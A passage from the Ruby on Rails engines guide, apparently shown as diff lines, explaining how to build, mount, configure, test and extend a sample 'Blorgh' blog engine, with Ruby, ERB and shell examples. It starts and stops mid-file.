+end +``` + +TIP: Some engines choose to use this file to put global configuration options +for their engine. It's a relatively good idea, so if you want to offer +configuration options, the file where your engine's `module` is defined is +perfect for that. Place the methods inside the module and you'll be good to go. + +Within `lib/blorgh/engine.rb` is the base class for the engine: + +```ruby +module Blorgh + class Engine < ::Rails::Engine + isolate_namespace Blorgh + end +end +``` + +By inheriting from the `Rails::Engine` class, this gem notifies Rails that +there's an engine at the specified path, and will correctly mount the engine +inside the application, performing tasks such as adding the `app` directory of +the engine to the load path for models, mailers, controllers, and views. + +The `isolate_namespace` method here deserves special notice. This call is +responsible for isolating the controllers, models, routes, and other things into +their own namespace, away from similar components inside the application. +Without this, there is a possibility that the engine's components could "leak" +into the application, causing unwanted disruption, or that important engine +components could be overridden by similarly named things within the application. +One of the examples of such conflicts is helpers. Without calling +`isolate_namespace`, the engine's helpers would be included in an application's +controllers. + +NOTE: It is **highly** recommended that the `isolate_namespace` line be left +within the `Engine` class definition. Without it, classes generated in an engine +**may** conflict with an application. + +What this isolation of the namespace means is that a model generated by a call +to `rails g model`, such as `rails g model article`, won't be called `Article`, but +instead be namespaced and called `Blorgh::Article`. In addition, the table for the +model is namespaced, becoming `blorgh_articles`, rather than simply `articles`. +Similar to the model namespacing, a controller called `ArticlesController` becomes +`Blorgh::ArticlesController` and the views for that controller will not be at +`app/views/articles`, but `app/views/blorgh/articles` instead. Mailers are namespaced +as well. + +Finally, routes will also be isolated within the engine. This is one of the most +important parts about namespacing, and is discussed later in the +[Routes](#routes) section of this guide. + +#### `app` Directory + +Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, +`mailers`, `models` and `views` directories that you should be familiar with +from an application. The `helpers`, `mailers` and `models` directories are +empty, so they aren't described in this section. We'll look more into models in +a future section, when we're writing the engine. + +Within the `app/assets` directory, there are the `images`, `javascripts` and +`stylesheets` directories which, again, you should be familiar with due to their +similarity to an application. One difference here, however, is that each +directory contains a sub-directory with the engine name. Because this engine is +going to be namespaced, its assets should be too. + +Within the `app/controllers` directory there is a `blorgh` directory that +contains a file called `application_controller.rb`. This file will provide any +common functionality for the controllers of the engine. The `blorgh` directory +is where the other controllers for the engine will go. By placing them within +this namespaced directory, you prevent them from possibly clashing with +identically-named controllers within other engines or even within the +application. + +NOTE: The `ApplicationController` class inside an engine is named just like a +Rails application in order to make it easier for you to convert your +applications into engines. + +NOTE: Because of the way that Ruby does constant lookup you may run into a situation +where your engine controller is inheriting from the main application controller and +not your engine's application controller. Ruby is able to resolve the `ApplicationController` constant, and therefore the autoloading mechanism is not triggered. See the section [When Constants Aren't Missed](autoloading_and_reloading_constants.html#when-constants-aren-t-missed) of the [Autoloading and Reloading Constants](autoloading_and_reloading_constants.html) guide for further details. The best way to prevent this from +happening is to use `require_dependency` to ensure that the engine's application +controller is loaded. For example: + +``` ruby +# app/controllers/blorgh/articles_controller.rb: +require_dependency "blorgh/application_controller" + +module Blorgh + class ArticlesController < ApplicationController + ... + end +end +``` + +WARNING: Don't use `require` because it will break the automatic reloading of classes +in the development environment - using `require_dependency` ensures that classes are +loaded and unloaded in the correct manner. + +Lastly, the `app/views` directory contains a `layouts` folder, which contains a +file at `blorgh/application.html.erb`. This file allows you to specify a layout +for the engine. If this engine is to be used as a stand-alone engine, then you +would add any customization to its layout in this file, rather than the +application's `app/views/layouts/application.html.erb` file. + +If you don't want to force a layout on to users of the engine, then you can +delete this file and reference a different layout in the controllers of your +engine. + +#### `bin` Directory + +This directory contains one file, `bin/rails`, which enables you to use the +`rails` sub-commands and generators just like you would within an application. +This means that you will be able to generate new controllers and models for this +engine very easily by running commands like this: + +```bash +$ bin/rails g model +``` + +Keep in mind, of course, that anything generated with these commands inside of +an engine that has `isolate_namespace` in the `Engine` class will be namespaced. + +#### `test` Directory + +The `test` directory is where tests for the engine will go. To test the engine, +there is a cut-down version of a Rails application embedded within it at +`test/dummy`. This application will mount the engine in the +`test/dummy/config/routes.rb` file: + +```ruby +Rails.application.routes.draw do + mount Blorgh::Engine => "/blorgh" +end +``` + +This line mounts the engine at the path `/blorgh`, which will make it accessible +through the application only at that path. + +Inside the test directory there is the `test/integration` directory, where +integration tests for the engine should be placed. Other directories can be +created in the `test` directory as well. For example, you may wish to create a +`test/models` directory for your model tests. + +Providing engine functionality +------------------------------ + +The engine that this guide covers provides submitting articles and commenting +functionality and follows a similar thread to the [Getting Started +Guide](getting_started.html), with some new twists. + +NOTE: For this section, make sure to run the commands in the root of the +`blorgh` engine's directory. + +### Generating an Article Resource + +The first thing to generate for a blog engine is the `Article` model and related +controller. To quickly generate this, you can use the Rails scaffold generator. + +```bash +$ rails generate scaffold article title:string text:text +``` + +This command will output this information: + +``` +invoke active_record +create db/migrate/[timestamp]_create_blorgh_articles.rb +create app/models/blorgh/article.rb +invoke test_unit +create test/models/blorgh/article_test.rb +create test/fixtures/blorgh/articles.yml +invoke resource_route + route resources :articles +invoke scaffold_controller +create app/controllers/blorgh/articles_controller.rb +invoke erb +create app/views/blorgh/articles +create app/views/blorgh/articles/index.html.erb +create app/views/blorgh/articles/edit.html.erb +create app/views/blorgh/articles/show.html.erb +create app/views/blorgh/articles/new.html.erb +create app/views/blorgh/articles/_form.html.erb +invoke test_unit +create test/controllers/blorgh/articles_controller_test.rb +invoke helper +create app/helpers/blorgh/articles_helper.rb +invoke test_unit +create test/application_system_test_case.rb +create test/system/articles_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/articles.js +invoke css +create app/assets/stylesheets/blorgh/articles.css +invoke css +create app/assets/stylesheets/scaffold.css +``` + +The first thing that the scaffold generator does is invoke the `active_record` +generator, which generates a migration and a model for the resource. Note here, +however, that the migration is called `create_blorgh_articles` rather than the +usual `create_articles`. This is due to the `isolate_namespace` method called in +the `Blorgh::Engine` class's definition. The model here is also namespaced, +being placed at `app/models/blorgh/article.rb` rather than `app/models/article.rb` due +to the `isolate_namespace` call within the `Engine` class. + +Next, the `test_unit` generator is invoked for this model, generating a model +test at `test/models/blorgh/article_test.rb` (rather than +`test/models/article_test.rb`) and a fixture at `test/fixtures/blorgh/articles.yml` +(rather than `test/fixtures/articles.yml`). + +After that, a line for the resource is inserted into the `config/routes.rb` file +for the engine. This line is simply `resources :articles`, turning the +`config/routes.rb` file for the engine into this: + +```ruby +Blorgh::Engine.routes.draw do + resources :articles +end +``` + +Note here that the routes are drawn upon the `Blorgh::Engine` object rather than +the `YourApp::Application` class. This is so that the engine routes are confined +to the engine itself and can be mounted at a specific point as shown in the +[test directory](#test-directory) section. It also causes the engine's routes to +be isolated from those routes that are within the application. The +[Routes](#routes) section of this guide describes it in detail. + +Next, the `scaffold_controller` generator is invoked, generating a controller +called `Blorgh::ArticlesController` (at +`app/controllers/blorgh/articles_controller.rb`) and its related views at +`app/views/blorgh/articles`. This generator also generates a test for the +controller (`test/controllers/blorgh/articles_controller_test.rb`) and a helper +(`app/helpers/blorgh/articles_helper.rb`). + +Everything this generator has created is neatly namespaced. The controller's +class is defined within the `Blorgh` module: + +```ruby +module Blorgh + class ArticlesController < ApplicationController + ... + end +end +``` + +NOTE: The `ArticlesController` class inherits from +`Blorgh::ApplicationController`, not the application's `ApplicationController`. + +The helper inside `app/helpers/blorgh/articles_helper.rb` is also namespaced: + +```ruby +module Blorgh + module ArticlesHelper + ... + end +end +``` + +This helps prevent conflicts with any other engine or application that may have +an article resource as well. + +Finally, the assets for this resource are generated in two files: +`app/assets/javascripts/blorgh/articles.js` and +`app/assets/stylesheets/blorgh/articles.css`. You'll see how to use these a little +later. + +You can see what the engine has so far by running `rails db:migrate` at the root +of our engine to run the migration generated by the scaffold generator, and then +running `rails server` in `test/dummy`. When you open +`http://localhost:3000/blorgh/articles` you will see the default scaffold that has +been generated. Click around! You've just generated your first engine's first +functions. + +If you'd rather play around in the console, `rails console` will also work just +like a Rails application. Remember: the `Article` model is namespaced, so to +reference it you must call it as `Blorgh::Article`. + +```ruby +>> Blorgh::Article.find(1) +=> #<Blorgh::Article id: 1 ...> +``` + +One final thing is that the `articles` resource for this engine should be the root +of the engine. Whenever someone goes to the root path where the engine is +mounted, they should be shown a list of articles. This can be made to happen if +this line is inserted into the `config/routes.rb` file inside the engine: + +```ruby +root to: "articles#index" +``` + +Now people will only need to go to the root of the engine to see all the articles, +rather than visiting `/articles`. This means that instead of +`http://localhost:3000/blorgh/articles`, you only need to go to +`http://localhost:3000/blorgh` now. + +### Generating a Comments Resource + +Now that the engine can create new articles, it only makes sense to add +commenting functionality as well. To do this, you'll need to generate a comment +model, a comment controller, and then modify the articles scaffold to display +comments and allow people to create new ones. + +From the application root, run the model generator. Tell it to generate a +`Comment` model, with the related table having two columns: an `article_id` integer +and `text` text column. + +```bash +$ rails generate model Comment article_id:integer text:text +``` + +This will output the following: + +``` +invoke active_record +create db/migrate/[timestamp]_create_blorgh_comments.rb +create app/models/blorgh/comment.rb +invoke test_unit +create test/models/blorgh/comment_test.rb +create test/fixtures/blorgh/comments.yml +``` + +This generator call will generate just the necessary model files it needs, +namespacing the files under a `blorgh` directory and creating a model class +called `Blorgh::Comment`. Now run the migration to create our blorgh_comments +table: + +```bash +$ rails db:migrate +``` + +To show the comments on an article, edit `app/views/blorgh/articles/show.html.erb` and +add this line before the "Edit" link: + +```html+erb +<h3>Comments</h3> +<%= render @article.comments %> +``` + +This line will require there to be a `has_many` association for comments defined +on the `Blorgh::Article` model, which there isn't right now. To define one, open +`app/models/blorgh/article.rb` and add this line into the model: + +```ruby +has_many :comments +``` + +Turning the model into this: + +```ruby +module Blorgh + class Article < ApplicationRecord + has_many :comments + end +end +``` + +NOTE: Because the `has_many` is defined inside a class that is inside the +`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` +model for these objects, so there's no need to specify that using the +`:class_name` option here. + +Next, there needs to be a form so that comments can be created on an article. To +add this, put this line underneath the call to `render @article.comments` in +`app/views/blorgh/articles/show.html.erb`: + +```erb +<%= render "blorgh/comments/form" %> +``` + +Next, the partial that this line will render needs to exist. Create a new +directory at `app/views/blorgh/comments` and in it a new file called +`_form.html.erb` which has this content to create the required partial: + +```html+erb +<h3>New comment</h3> +<%= form_with(model: [@article, @article.comments.build], local: true) do |form| %> + <p> + <%= form.label :text %><br> + <%= form.text_area :text %> + </p> + <%= form.submit %> +<% end %> +``` + +When this form is submitted, it is going to attempt to perform a `POST` request +to a route of `/articles/:article_id/comments` within the engine. This route doesn't +exist at the moment, but can be created by changing the `resources :articles` line +inside `config/routes.rb` into these lines: + +```ruby +resources :articles do + resources :comments +end +``` + +This creates a nested route for the comments, which is what the form requires. + +The route now exists, but the controller that this route goes to does not. To +create it, run this command from the application root: + +```bash +$ rails g controller comments +``` + +This will generate the following things: + +``` +create app/controllers/blorgh/comments_controller.rb +invoke erb + exist app/views/blorgh/comments +invoke test_unit +create test/controllers/blorgh/comments_controller_test.rb +invoke helper +create app/helpers/blorgh/comments_helper.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/comments.js +invoke css +create app/assets/stylesheets/blorgh/comments.css +``` + +The form will be making a `POST` request to `/articles/:article_id/comments`, which +will correspond with the `create` action in `Blorgh::CommentsController`. This +action needs to be created, which can be done by putting the following lines +inside the class definition in `app/controllers/blorgh/comments_controller.rb`: + +```ruby +def create + @article = Article.find(params[:article_id]) + @comment = @article.comments.create(comment_params) + flash[:notice] = "Comment has been created!" + redirect_to articles_path +end + +private + def comment_params + params.require(:comment).permit(:text) + end +``` + +This is the final step required to get the new comment form working. Displaying +the comments, however, is not quite right yet. If you were to create a comment +right now, you would see this error: + +``` +Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder], +:formats=>[:html], :locale=>[:en, :en]}. Searched in: * +"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" * +"/Users/ryan/Sites/side_projects/blorgh/app/views" +``` + +The engine is unable to find the partial required for rendering the comments. +Rails looks first in the application's (`test/dummy`) `app/views` directory and +then in the engine's `app/views` directory. When it can't find it, it will throw +this error. The engine knows to look for `blorgh/comments/_comment` because the +model object it is receiving is from the `Blorgh::Comment` class. + +This partial will be responsible for rendering just the comment text, for now. +Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this +line inside it: + +```erb +<%= comment_counter + 1 %>. <%= comment.text %> +``` + +The `comment_counter` local variable is given to us by the `<%= render +@article.comments %>` call, which will define it automatically and increment the +counter as it iterates through each comment. It's used in this example to +display a small number next to each comment when it's created. + +That completes the comment function of the blogging engine. Now it's time to use +it within an application. + +Hooking Into an Application +--------------------------- + +Using an engine within an application is very easy. This section covers how to +mount the engine into an application and the initial setup required, as well as +linking the engine to a `User` class provided by the application to provide +ownership for articles and comments within the engine. + +### Mounting the Engine + +First, the engine needs to be specified inside the application's `Gemfile`. If +there isn't an application handy to test this out in, generate one using the +`rails new` command outside of the engine directory like this: + +```bash +$ rails new unicorn +``` + +Usually, specifying the engine inside the `Gemfile` would be done by specifying it +as a normal, everyday gem. + +```ruby +gem 'devise' +``` + +However, because you are developing the `blorgh` engine on your local machine, +you will need to specify the `:path` option in your `Gemfile`: + +```ruby +gem 'blorgh', path: 'engines/blorgh' +``` + +Then run `bundle` to install the gem. + +As described earlier, by placing the gem in the `Gemfile` it will be loaded when +Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then +`lib/blorgh/engine.rb`, which is the file that defines the major pieces of +functionality for the engine. + +To make the engine's functionality accessible from within an application, it +needs to be mounted in that application's `config/routes.rb` file: + +```ruby +mount Blorgh::Engine, at: "/blog" +``` + +This line will mount the engine at `/blog` in the application. Making it +accessible at `http://localhost:3000/blog` when the application runs with `rails +server`. + +NOTE: Other engines, such as Devise, handle this a little differently by making +you specify custom helpers (such as `devise_for`) in the routes. These helpers +do exactly the same thing, mounting pieces of the engines's functionality at a +pre-defined path which may be customizable. + +### Engine setup + +The engine contains migrations for the `blorgh_articles` and `blorgh_comments` +table which need to be created in the application's database so that the +engine's models can query them correctly. To copy these migrations into the +application run the following command from the application's root: + +```bash +$ rails blorgh:install:migrations +``` + +If you have multiple engines that need migrations copied over, use +`railties:install:migrations` instead: + +```bash +$ rails railties:install:migrations +``` + +This command, when run for the first time, will copy over all the migrations +from the engine. When run the next time, it will only copy over migrations that +haven't been copied over already. The first run for this command will output +something such as this: + +```bash +Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh +Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh +``` + +The first timestamp (`[timestamp_1]`) will be the current time, and the second +timestamp (`[timestamp_2]`) will be the current time plus a second. The reason +for this is so that the migrations for the engine are run after any existing +migrations in the application. + +To run these migrations within the context of the application, simply run `rails +db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the +articles will be empty. This is because the table created inside the application is +different from the one created within the engine. Go ahead, play around with the +newly mounted engine. You'll find that it's the same as when it was only an +engine. + +If you would like to run migrations only from one engine, you can do it by +specifying `SCOPE`: + +```bash +rails db:migrate SCOPE=blorgh +``` + +This may be useful if you want to revert engine's migrations before removing it. +To revert all migrations from blorgh engine you can run code such as: + +```bash +rails db:migrate SCOPE=blorgh VERSION=0 +``` + +### Using a Class Provided by the Application + +#### Using a Model Provided by the Application + +When an engine is created, it may want to use specific classes from an +application to provide links between the pieces of the engine and the pieces of +the application. In the case of the `blorgh` engine, making articles and comments +have authors would make a lot of sense. + +A typical application might have a `User` class that would be used to represent +authors for an article or a comment. But there could be a case where the +application calls this class something different, such as `Person`. For this +reason, the engine should not hardcode associations specifically for a `User` +class. + +To keep it simple in this case, the application will have a class called `User` +that represents the users of the application (we'll get into making this +configurable further on). It can be generated using this command inside the +application: + +```bash +rails g model user name:string +``` + +The `rails db:migrate` command needs to be run here to ensure that our +application has the `users` table for future use. + +Also, to keep it simple, the articles form will have a new text field called +`author_name`, where users can elect to put their name. The engine will then +take this name and either create a new `User` object from it, or find one that +already has that name. The engine will then associate the article with the found or +created `User` object. + +First, the `author_name` text field needs to be added to the +`app/views/blorgh/articles/_form.html.erb` partial inside the engine. This can be +added above the `title` field with this code: + +```html+erb +<div class="field"> + <%= form.label :author_name %><br> + <%= form.text_field :author_name %> +</div> +``` + +Next, we need to update our `Blorgh::ArticleController#article_params` method to +permit the new form parameter: + +```ruby +def article_params + params.require(:article).permit(:title, :text, :author_name) +end +``` + +The `Blorgh::Article` model should then have some code to convert the `author_name` +field into an actual `User` object and associate it as that article's `author` +before the article is saved. It will also need to have an `attr_accessor` set up +for this field, so that the setter and getter methods are defined for it. + +To do all this, you'll need to add the `attr_accessor` for `author_name`, the +association for the author and the `before_validation` call into +`app/models/blorgh/article.rb`. The `author` association will be hard-coded to the +`User` class for the time being. + +```ruby +attr_accessor :author_name +belongs_to :author, class_name: "User" + +before_validation :set_author + +private + def set_author + self.author = User.find_or_create_by(name: author_name) + end +``` + +By representing the `author` association's object with the `User` class, a link +is established between the engine and the application. There needs to be a way +of associating the records in the `blorgh_articles` table with the records in the +`users` table. Because the association is called `author`, there should be an +`author_id` column added to the `blorgh_articles` table. + +To generate this new column, run this command within the engine: + +```bash +$ rails g migration add_author_id_to_blorgh_articles author_id:integer +``` + +NOTE: Due to the migration's name and the column specification after it, Rails +will automatically know that you want to add a column to a specific table and +write that into the migration for you. You don't need to tell it any more than +this. + +This migration will need to be run on the application. To do that, it must first +be copied using this command: + +```bash +$ rails blorgh:install:migrations +``` + +Notice that only _one_ migration was copied over here. This is because the first +two migrations were copied over the first time this command was run. + +``` +NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists. +NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists. +Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh +``` + +Run the migration using: + +```bash +$ rails db:migrate +``` + +Now with all the pieces in place, an action will take place that will associate +an author - represented by a record in the `users` table - with an article, +represented by the `blorgh_articles` table from the engine. + +Finally, the author's name should be displayed on the article's page. Add this code +above the "Title" output inside `app/views/blorgh/articles/show.html.erb`: + +```html+erb +<p> + <b>Author:</b> + <%= @article.author.name %> +</p> +``` + +#### Using a Controller Provided by the Application + +Because Rails controllers generally share code for things like authentication +and accessing session variables, they inherit from `ApplicationController` by +default. Rails engines, however are scoped to run independently from the main +application, so each engine gets a scoped `ApplicationController`. This +namespace prevents code collisions, but often engine controllers need to access +methods in the main application's `ApplicationController`. An easy way to +provide this access is to change the engine's scoped `ApplicationController` to +inherit from the main application's `ApplicationController`. For our Blorgh +engine this would be done by changing +`app/controllers/blorgh/application_controller.rb` to look like: + +```ruby +module Blorgh + class ApplicationController < ::ApplicationController + end +end +``` + +By default, the engine's controllers inherit from +`Blorgh::ApplicationController`. So, after making this change they will have +access to the main application's `ApplicationController`, as though they were +part of the main application. + +This change does require that the engine is run from a Rails application that +has an `ApplicationController`. + +### Configuring an Engine + +This section covers how to make the `User` class configurable, followed by +general configuration tips for the engine. + +#### Setting Configuration Settings in the Application + +The next step is to make the class that represents a `User` in the application +customizable for the engine. This is because that class may not always be +`User`, as previously explained. To make this setting customizable, the engine +will have a configuration setting called `author_class` that will be used to +specify which class represents users inside the application. + +To define this configuration setting, you should use a `mattr_accessor` inside +the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the +engine: + +```ruby +mattr_accessor :author_class +``` + +This method works like its siblings, `attr_accessor` and `cattr_accessor`, but +provides a setter and getter method on the module with the specified name. To +use it, it must be referenced using `Blorgh.author_class`. + +The next step is to switch the `Blorgh::Article` model over to this new setting. +Change the `belongs_to` association inside this model +(`app/models/blorgh/article.rb`) to this: + +```ruby +belongs_to :author, class_name: Blorgh.author_class +``` + +The `set_author` method in the `Blorgh::Article` model should also use this class: + +```ruby +self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name) +``` + +To save having to call `constantize` on the `author_class` result all the time, +you could instead just override the `author_class` getter method inside the +`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the +saved value before returning the result: + +```ruby +def self.author_class + @@author_class.constantize +end +``` + +This would then turn the above code for `set_author` into this: + +```ruby +self.author = Blorgh.author_class.find_or_create_by(name: author_name) +``` + +Resulting in something a little shorter, and more implicit in its behavior. The +`author_class` method should always return a `Class` object. + +Since we changed the `author_class` method to return a `Class` instead of a +`String`, we must also modify our `belongs_to` definition in the `Blorgh::Article` +model: + +```ruby +belongs_to :author, class_name: Blorgh.author_class.to_s +``` + +To set this configuration setting within the application, an initializer should +be used. By using an initializer, the configuration will be set up before the +application starts and calls the engine's models, which may depend on this +configuration setting existing. + +Create a new initializer at `config/initializers/blorgh.rb` inside the +application where the `blorgh` engine is installed and put this content in it: + +```ruby +Blorgh.author_class = "User" +``` + +WARNING: It's very important here to use the `String` version of the class, +rather than the class itself. If you were to use the class, Rails would attempt +to load that class and then reference the related table. This could lead to +problems if the table didn't already exist. Therefore, a `String` should be +used and then converted to a class using `constantize` in the engine later on. + +Go ahead and try to create a new article. You will see that it works exactly in the +same way as before, except this time the engine is using the configuration +setting in `config/initializers/blorgh.rb` to learn what the class is. + +There are now no strict dependencies on what the class is, only what the API for +the class must be. The engine simply requires this class to define a +`find_or_create_by` method which returns an object of that class, to be +associated with an article when it's created. This object, of course, should have +some sort of identifier by which it can be referenced. + +#### General Engine Configuration + +Within an engine, there may come a time where you wish to use things such as +initializers, internationalization, or other configuration options. The great +news is that these things are entirely possible, because a Rails engine shares +much the same functionality as a Rails application. In fact, a Rails +application's functionality is actually a superset of what is provided by +engines! + +If you wish to use an initializer - code that should run before the engine is +loaded - the place for it is the `config/initializers` folder. This directory's +functionality is explained in the [Initializers +section](configuring.html#initializers) of the Configuring guide, and works +precisely the same way as the `config/initializers` directory inside an +application. The same thing goes if you want to use a standard initializer. + +For locales, simply place the locale files in the `config/locales` directory, +just like you would in an application. + +Testing an engine +----------------- + +When an engine is generated, there is a smaller dummy application created inside +it at `test/dummy`. This application is used as a mounting point for the engine, +to make testing the engine extremely simple. You may extend this application by +generating controllers, models, or views from within the directory, and then use +those to test your engine. + +The `test` directory should be treated like a typical Rails testing environment, +allowing for unit, functional, and integration tests. + +### Functional Tests + +A matter worth taking into consideration when writing functional tests is that +the tests are going to be running on an application - the `test/dummy` +application - rather than your engine. This is due to the setup of the testing +environment; an engine needs an application as a host for testing its main +functionality, especially controllers. This means that if you were to make a +typical `GET` to a controller in a controller's functional test like this: + +```ruby +module Blorgh + class FooControllerTest < ActionDispatch::IntegrationTest + include Engine.routes.url_helpers + + def test_index + get foos_url + ... + end + end +end +``` + +It may not function correctly. This is because the application doesn't know how +to route these requests to the engine unless you explicitly tell it **how**. To +do this, you must set the `@routes` instance variable to the engine's route set +in your setup code: + +```ruby +module Blorgh + class FooControllerTest < ActionDispatch::IntegrationTest + include Engine.routes.url_helpers + + setup do + @routes = Engine.routes + end + + def test_index + get foos_url + ... + end + end +end +``` + +This tells the application that you still want to perform a `GET` request to the +`index` action of this controller, but you want to use the engine's route to get +there, rather than the application's one. + +This also ensures that the engine's URL helpers will work as expected in your +tests. + +Improving engine functionality +------------------------------ + +This section explains how to add and/or override engine MVC functionality in the +main Rails application. + +### Overriding Models and Controllers + +Engine model and controller classes can be extended by open classing them in the +main Rails application (since model and controller classes are just Ruby classes +that inherit Rails specific functionality). Open classing an Engine class +redefines it for use in the main application. This is usually implemented by +using the decorator pattern. + +For simple class modifications, use `Class#class_eval`. For complex class +modifications, consider using `ActiveSupport::Concern`. + +#### A note on Decorators and Loading Code + +Because these decorators are not referenced by your Rails application itself, +Rails' autoloading system will not kick in and load your decorators. This means +that you need to require them yourself. + +Here is some sample code to do this: + +```ruby +# lib/blorgh/engine.rb +module Blorgh + class Engine < ::Rails::Engine + isolate_namespace Blorgh + + config.to_prepare do + Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c| + require_dependency(c) + end + end + end +end +``` + +This doesn't apply to just Decorators, but anything that you add in an engine +that isn't referenced by your main application. + +#### Implementing Decorator Pattern Using Class#class_eval + +**Adding** `Article#time_since_created`: + +```ruby +# MyApp/app/decorators/models/blorgh/article_decorator.rb + +Blorgh::Article.class_eval do + def time_since_created + Time.current - created_at + end +end +``` + +```ruby +# Blorgh/app/models/article.rb + +class Article < ApplicationRecord + has_many :comments +end +``` + + +**Overriding** `Article#summary`: + +```ruby +# MyApp/app/decorators/models/blorgh/article_decorator.rb + +Blorgh::Article.class_eval do + def summary + "#{title} - #{truncate(text)}" + end +end +``` + +```ruby +# Blorgh/app/models/article.rb + +class Article < ApplicationRecord + has_many :comments + def summary + "#{title}" + end +end +``` + +#### Implementing Decorator Pattern Using ActiveSupport::Concern + +Using `Class#class_eval` is great for simple adjustments, but for more complex +class modifications, you might want to consider using [`ActiveSupport::Concern`] +(http://api.rubyonrails.org/classes/ActiveSupport/Concern.html). +ActiveSupport::Concern manages load order of interlinked dependent modules and +classes at run time allowing you to significantly modularize your code. + +**Adding** `Article#time_since_created` and **Overriding** `Article#summary`: + +```ruby +# MyApp/app/models/blorgh/article.rb + +class Blorgh::Article < ApplicationRecord + include Blorgh::Concerns::Models::Article + + def time_since_created + Time.current - created_at + end + + def summary + "#{title} - #{truncate(text)}" + end +end +``` + +```ruby +# Blorgh/app/models/article.rb + +class Article < ApplicationRecord + include Blorgh::Concerns::Models::Article +end +``` + +```ruby +# Blorgh/lib/concerns/models/article.rb + +module Blorgh::Concerns::Models::Article + extend ActiveSupport::Concern + + # 'included do' causes the included code to be evaluated in the + # context where it is included (article.rb), rather than being + # executed in the module's context (blorgh/concerns/models/article). + included do + attr_accessor :author_name + belongs_to :author, class_name: "User" + + before_validation :set_author + + private + def set_author + self.author = User.find_or_create_by(name: author_name) + end + end + + def summary + "#{title}" + end + + module ClassMethods + def some_class_method + 'some class method string' + end + end +end +``` + +### Overriding Views + +When Rails looks for a view to render, it will first look in the `app/views` +directory of the application. If it cannot find the view there, it will check in +the `app/views` directories of all engines that have this directory. + +When the application is asked to render the view for `Blorgh::ArticlesController`'s +index action, it will first look for the path +`app/views/blorgh/articles/index.html.erb` within the application. If it cannot +find it, it will look inside the engine. + +You can override this view in the application by simply creating a new file at +`app/views/blorgh/articles/index.html.erb`. Then you can completely change what +this view would normally output. + +Try this now by creating a new file at `app/views/blorgh/articles/index.html.erb` +and put this content in it: + +```html+erb +<h1>Articles</h1> +<%= link_to "New Article", new_article_path %> +<% @articles.each do |article| %> + <h2><%= article.title %></h2> + <small>By <%= article.author %></small> + <%= simple_format(article.text) %> + <hr> +<% end %> +``` + +### Routes + +Routes inside an engine are isolated from the application by default. This is +done by the `isolate_namespace` call inside the `Engine` class. This essentially +means that the application and its engines can have identically named routes and +they will not clash. + +Routes inside an engine are drawn on the `Engine` class within +`config/routes.rb`, like this: + +```ruby +Blorgh::Engine.routes.draw do + resources :articles +end +``` + +By having isolated routes such as this, if you wish to link to an area of an +engine from within an application, you will need to use the engine's routing +proxy method. Calls to normal routing methods such as `articles_path` may end up +going to undesired locations if both the application and the engine have such a +helper defined. + +For instance, the following example would go to the application's `articles_path` +if that template was rendered from the application, or the engine's `articles_path` +if it was rendered from the engine: + +```erb +<%= link_to "Blog articles", articles_path %> +``` + +To make this route always use the engine's `articles_path` routing helper method, +we must call the method on the routing proxy method that shares the same name as +the engine. + +```erb +<%= link_to "Blog articles", blorgh.articles_path %> +``` + +If you wish to reference the application inside the engine in a similar way, use +the `main_app` helper: + +```erb +<%= link_to "Home", main_app.root_path %> +``` + +If you were to use this inside an engine, it would **always** go to the +application's root. If you were to leave off the `main_app` "routing proxy" +method call, it could potentially go to the engine's or application's root, +depending on where it was called from. + +If a template rendered from within an engine attempts to use one of the +application's routing helper methods, it may result in an undefined method call. +If you encounter such an issue, ensure that you're not attempting to call the +application's routing methods without the `main_app` prefix from within the +engine. + +### Assets + +Assets within an engine work in an identical way to a full application. Because +the engine class inherits from `Rails::Engine`, the application will know to +look up assets in the engine's `app/assets` and `lib/assets` directories. + +Like all of the other components of an engine, the assets should be namespaced. +This means that if you have an asset called `style.css`, it should be placed at +`app/assets/stylesheets/[engine name]/style.css`, rather than +`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a +possibility that the host application could have an asset named identically, in +which case the application's asset would take precedence and the engine's one +would be ignored. + +Imagine that you did have an asset located at +`app/assets/stylesheets/blorgh/style.css` To include this asset inside an +application, just use `stylesheet_link_tag` and reference the asset as if it +were inside the engine: + +```erb +<%= stylesheet_link_tag "blorgh/style.css" %> +``` + +You can also specify these assets as dependencies of other assets using Asset +Pipeline require statements in processed files: + +``` +/* + *= require blorgh/style +*/ +``` + +INFO. Remember that in order to use languages like Sass or CoffeeScript, you +should add the relevant library to your engine's `.gemspec`. + +### Separate Assets & Precompiling + +There are some situations where your engine's assets are not required by the +host application. For example, say that you've created an admin functionality +that only exists for your engine. In this case, the host application doesn't +need to require `admin.css` or `admin.js`. Only the gem's admin layout needs +these assets. It doesn't make sense for the host app to include +`"blorgh/admin.css"` in its stylesheets. In this situation, you should +explicitly define these assets for precompilation. This tells Sprockets to add +your engine assets when `rails assets:precompile` is triggered. + +You can define assets for precompilation in `engine.rb`: + +```ruby +initializer "blorgh.assets.precompile" do |app| + app.config.assets.precompile += %w( admin.js admin.css ) +end +``` + +For more information, read the [Asset Pipeline guide](asset_pipeline.html). + +### Other Gem Dependencies + +Gem dependencies inside an engine should be specified inside the `.gemspec` file +at the root of the engine. The reason is that the engine may be installed as a +gem. If dependencies were to be specified inside the `Gemfile`, these would not +be recognized by a traditional gem install and so they would not be installed, +causing the engine to malfunction. + +To specify a dependency that should be installed with the engine during a +traditional `gem install`, specify it inside the `Gem::Specification` block +inside the `.gemspec` file in the engine: + +```ruby +s.add_dependency "moo" +``` + +To specify a dependency that should only be installed as a development +dependency of the application, specify it like this: + +```ruby +s.add_development_dependency 